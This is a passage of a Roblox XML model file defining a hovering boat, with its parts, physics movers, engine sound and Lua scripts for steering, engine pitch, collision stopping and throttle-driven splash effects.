							<Vector3 name="size">
								<X>2</X>
								<Y>5</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="CylinderMesh" referent="RBX5223">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>0.100000001</X>
									<Y>1</Y>
									<Z>0.100000001</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Script" referent="RBX5224">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">true</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<ProtectedString name="Source">bin = script.Parent
VS = bin.VehicleSeat
RTurn = false
LTurn = false
MoveR = false
MoveF = false
NotMoving = true 
engine = script.Parent.Base
position = engine.Velocity
bin.Base.BG.cframe = bin.Base.CFrame

function DirChng()
if VS.Steer == 1 then 
	RTurn = true
		while RTurn do
			bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, -VS.TurnSpeed, 0)
			wait(0.1)
		end
else if VS.Steer == -1 then 
	LTurn = true 
		while LTurn do
			bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, VS.TurnSpeed, 0)
			wait(0.1)
		end
else if VS.Steer == 0 then 
	RTurn = false
	LTurn = false 
end
end
end
end

VS.Changed:connect(DirChng)
</ProtectedString>
					</Properties>
				</Item>
				<Item class="VehicleSeat" referent="RBX5225">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-1124</X>
							<Y>5.5</Y>
							<Z>652</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<bool name="HeadsUpDisplay">true</bool>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<float name="MaxSpeed">0</float>
						<string name="Name">VehicleSeat</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<int name="Steer">0</int>
						<int name="Throttle">0</int>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Torque">1</float>
						<float name="Transparency">0</float>
						<float name="TurnSpeed">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="size">
							<X>2</X>
							<Y>1</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
					<Item class="BlockMesh" referent="RBX5226">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>-0.300000012</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>0.400000006</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX5227">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">2</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>-1124</X>
							<Y>3</Y>
							<Z>661</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">2</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Base</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">2</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>12</X>
							<Y>4</Y>
							<Z>30</Z>
						</Vector3>
					</Properties>
					<Item class="BlockMesh" referent="RBX5228">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="BodyGyro" referent="RBX5229">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="D">500</float>
							<string name="Name">BG</string>
							<float name="P">3000</float>
							<CoordinateFrame name="cframe">
								<X>154.300003</X>
								<Y>3.40003753</Y>
								<Z>53</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>-1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<Vector3 name="maxTorque">
								<X>0</X>
								<Y>400000</Y>
								<Z>0</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="BodyVelocity" referent="RBX5230">
						<Properties>
							<bool name="Archivable">true</bool>
							<string name="Name">BV</string>
							<float name="P">1250</float>
							<Vector3 name="maxForce">
								<X>1000000</X>
								<Y>0</Y>
								<Z>1000000</Z>
							</Vector3>
							<Vector3 name="velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="BodyPosition" referent="RBX5231">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="D">1250</float>
							<string name="Name">Hover</string>
							<float name="P">10000</float>
							<Vector3 name="maxForce">
								<X>0</X>
								<Y>INF</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="position">
								<X>0</X>
								<Y>1</Y>
								<Z>0</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Sound" referent="RBX5232">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Looped">true</bool>
							<string name="Name">Engine</string>
							<float name="Pitch">6</float>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><url>http://www.roblox.com/asset/?id=13510352</url></Content>
							<float name="Volume">1</float>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX5233">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">EngineScript</string>
							<ProtectedString name="Source">function OnF()
	script.Parent.Engine.Pitch = (script.Parent.Parent.VehicleSeat.MaxSpeed / 10) + 2.5
	script.Parent.Engine:play()
end

function OnB()
	script.Parent.Engine.Pitch = -(script.Parent.Parent.VehicleSeat.MaxSpeed / 10) + 2.5
	script.Parent.Engine:play()
end

function Off()
	script.Parent.Engine:stop()
end

function Check()
	if script.Parent.Parent.VehicleSeat.MaxSpeed &gt; 0 then
		OnF()
	elseif script.Parent.Parent.VehicleSeat.MaxSpeed &lt; 0 then
		OnB()
	elseif script.Parent.Parent.VehicleSeat.MaxSpeed == 0 then
		Off()
	end
end

script.Parent.Parent.VehicleSeat.Changed:connect(Check)
</ProtectedString>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX5234">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">2</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-1124</X>
							<Y>0.5</Y>
							<Z>651</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">2</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Stabilizer</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>2.80298745e-020</X>
							<Y>4.65015091e-018</Y>
							<Z>2.80298745e-020</Z>
						</Vector3>
						<float name="TopParamA">0</float>
						<float name="TopParamB">0</float>
						<token name="TopSurface">6</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>2.31804893e-017</X>
							<Y>-0.149598464</Y>
							<Z>2.31804893e-017</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>1</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
					<Item class="CylinderMesh" referent="RBX5235">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="BodyGyro" referent="RBX5236">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="D">500</float>
							<string name="Name">Stabilizer</string>
							<float name="P">200</float>
							<CoordinateFrame name="cframe">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<Vector3 name="maxTorque">
								<X>8.99999949e+009</X>
								<Y>0</Y>
								<Z>8.99999949e+009</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX5237">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">2</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-1124</X>
							<Y>3</Y>
							<Z>676.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">2</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">RearTip</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">2</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="CylinderMesh" referent="RBX5238">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>0.600000024</X>
								<Y>1</Y>
								<Z>0.600000024</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX5239">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">StopScript</string>
							<ProtectedString name="Source">function Hit(hit)
	if (hit.Parent.Name == &quot;Parts&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Bodykit&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Projectiles&quot;) then return end -- In case the boat&apos;s gun shoots the front
	if (hit.Parent.Name == &quot;Water&quot;) then return end -- Sometimes the front end dips down
	if (hit.CanCollide == false) then return end -- In case the boat hits smoke or water splashes and whatnot
	if (hit.Parent == script.Parent.Parent) then return end -- We don&apos;t want our own wake stopping the boat
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil) then return end -- We don&apos;t want players jumping onto the front

	script.Parent.Parent.VehicleSeat.MaxSpeed = 0 -- Stop the boat
end

script.Parent.Touched:connect(Hit)

--(C) 2009 Terran Research Commission
</ProtectedString>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX5240">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">2</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-1124</X>
							<Y>0.5</Y>
							<Z>671</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">2</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Stabilizer</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>2.80298745e-020</X>
							<Y>4.65015091e-018</Y>
							<Z>2.80298745e-020</Z>
						</Vector3>
						<float name="TopParamA">0</float>
						<float name="TopParamB">0</float>
						<token name="TopSurface">6</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>2.31804893e-017</X>
							<Y>-0.149598464</Y>
							<Z>2.31804893e-017</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>1</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
					<Item class="CylinderMesh" referent="RBX5241">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="BodyGyro" referent="RBX5242">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="D">500</float>
							<string name="Name">Stabilizer</string>
							<float name="P">200</float>
							<CoordinateFrame name="cframe">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<Vector3 name="maxTorque">
								<X>8.99999949e+009</X>
								<Y>0</Y>
								<Z>8.99999949e+009</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX5243">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">2</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-1124</X>
							<Y>7</Y>
							<Z>676.5</Z>
							<R00>-1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>0</R11>
							<R12>1</R12>
							<R20>0</R20>
							<R21>1</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">2</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">SmokeEmitter</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">2</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>1</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX5244">
						<Properties>
							<bool name="Archivable">true</bool>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">1</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX5245">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">24</int>
						<CoordinateFrame name="CFrame">
							<X>-1124</X>
							<Y>6</Y>
							<Z>634</Z>
							<R00>-1</R00>
							<R01>-0</R01>
							<R02>-0</R02>
							<R10>-0</R10>
							<R11>-1</R11>
							<R12>-0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Tip</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>12</X>
							<Y>2</Y>
							<Z>4</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX5246">
						<Properties>
							<bool name="Archivable">true</bool>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX5247">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">StopScript</string>
							<ProtectedString name="Source">function Hit(hit)
	if (hit.Parent.Name == &quot;Parts&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Bodykit&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Projectiles&quot;) then return end -- In case the boat&apos;s gun shoots the front
	if (hit.Parent.Name == &quot;Water&quot;) then return end -- Sometimes the front end dips down
	if (hit.CanCollide == false) then return end -- In case the boat hits smoke or water splashes and whatnot
	if (hit.Parent == script.Parent.Parent) then return end -- We don&apos;t want our own wake stopping the boat
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil) then return end -- We don&apos;t want players jumping onto the front

	script.Parent.Parent.VehicleSeat.MaxSpeed = 0 -- Stop the boat
end

script.Parent.Touched:connect(Hit)

--(C) 2009 Terran Research Commission
</ProtectedString>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX5248">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">ParentScript</string>
						<ProtectedString name="Source">seat = script.Parent.VehicleSeat

function onChildAdded(part)
	if part.className == &quot;Weld&quot; then
		local torso = part.Part1
		if torso ~= nil then
			local parent = torso.Parent
			if parent ~= nil then
				script.Parent.Parent = parent
				script.Parent.Base.Anchored = false
			end
		end
	end
end

seat.ChildAdded:connect(onChildAdded)
</ProtectedString>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX5249">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">BoatScript</string>
						<ProtectedString name="Source">bin = script.Parent
VS = bin.VehicleSeat
engine = script.Parent.Base
position = engine.Velocity

function SplashF()
		splash = Instance.new(&quot;Part&quot;)
		splash.formFactor = &quot;Symmetric&quot;
		splash.Shape = &quot;Ball&quot;
		splash.TopSurface = 0
		splash.BottomSurface = 0
		splash.BrickColor = BrickColor.new(23)
		splash.Transparency = 0.4
		splash.Size = Vector3.new(1,1,1)
		splash.Anchored = true
		splash.CanCollide = false
		splash.CFrame = bin.Base.CFrame * CFrame.new(0,-0.85,-16)
		splash.Parent = bin

		local wtscr = script.WaterScript:clone()
		wtscr.Disabled = false
		wtscr.Parent = splash

		local mesh = Instance.new(&quot;SpecialMesh&quot;)
		mesh.MeshType = &quot;Sphere&quot;
		mesh.Scale = Vector3.new(16,4,20)
		mesh.Parent = splash
end

function SplashB()
		splash = Instance.new(&quot;Part&quot;)
		splash.formFactor = &quot;Symmetric&quot;
		splash.Shape = &quot;Ball&quot;
		splash.TopSurface = 0
		splash.BottomSurface = 0
		splash.BrickColor = BrickColor.new(23)
		splash.Transparency = 0.4
		splash.Size = Vector3.new(1,1,1)
		splash.Anchored = true
		splash.CanCollide = false
		splash.CFrame = bin.Base.CFrame * CFrame.new(0,-0.85,16)
		splash.Parent = bin

		local wtscr = script.WaterScript:clone()
		wtscr.Disabled = false
		wtscr.Parent = splash

		local mesh = Instance.new(&quot;SpecialMesh&quot;)
		mesh.MeshType = &quot;Sphere&quot;
		mesh.Scale = Vector3.new(16,4,20)
		mesh.Parent = splash
end

while true do

---------------------------------Throttle

	if VS.Throttle == 1 then
		if VS.MaxSpeed &lt; 41 then
			VS.MaxSpeed = VS.MaxSpeed + VS.Torque
		end

		if VS.MaxSpeed &gt; 0 then
			SplashF()
		elseif VS.MaxSpeed &lt; 0 then
			SplashB()
		end

	elseif VS.Throttle == -1 then
		if VS.MaxSpeed &gt; -25 then
			VS.MaxSpeed = VS.MaxSpeed - VS.Torque
		end

		if VS.MaxSpeed &gt; 0 then
			SplashF()
